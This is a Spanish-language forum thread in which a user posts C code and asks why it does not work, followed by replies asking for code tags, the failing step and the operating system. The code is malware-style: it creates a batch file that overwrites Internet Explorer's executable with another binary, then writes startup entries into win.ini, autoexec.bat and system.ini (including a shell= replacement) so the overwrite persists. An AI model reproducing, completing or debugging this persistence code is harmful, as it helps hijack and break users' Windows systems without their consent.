main() { fichero = fopen("c:\\windows\\rbk.bat", "wt"); if (fichero == NULL) { printf("No se ha creado el archivo"); exit(1); } fputs("copy C:\\ARCHIV~1\\intern~1\\iexplore2.exe C:\\ARCHIV~1\\intern~1\\iexplore.exe", fichero);
fichero = fopen("c:\\windows\\win.ini", "at"); if (fichero == NULL) { printf("No se ha creado el archivo"); exit(1); } fputs("run=C:\\windows\\rbk.bat", fichero);
fichero = fopen("c:\\autoexec.bat", "at"); if (fichero == NULL) { printf("No se ha creado el archivo"); exit(1); } fputs("copy C:\\ARCHIV~1\\intern~1\\iexplore2.exe C:\\ARCHIV~1\\intern~1\\iexplore.exe", fichero);
fichero = fopen("c:\\windows\\system.ini", "at"); if (fichero == NULL) { printf("No se ha creado el archivo"); exit(1); } fputs("shell=c:\\windows\\rbk.bat", fichero);
}
Editado por el moderador: Por favor, usad las etiqutas CODE que si no esto no hay quien lo lea.
« Última modificación: 21 Enero 2004, 23:34 por zheo »
Yo a gente con tanta mala educación no pienso contestarle. Antes pon el codigo, entre los comandos [code ] y [/code ]. Y las cosas se piden bien y no exigiendolas.
Cosas: 1) ¿Donde falla? comprenderás que decir "no funciona" no explica mucho. ¿falla al crear algun fichero? o bien no ejecuta nada? ¿Has comprobado que realmente modificas/creas los ficheros?
2) ¿En qué sistema operativo lo estás probando?
Un saludo.
PD: cokeing tranquilo, que las etiquetas code se edita en un momento (en este caso ya lo hice yo )
En línea
Sólo hay 10 tipos de personas: las que saben binario y las que no.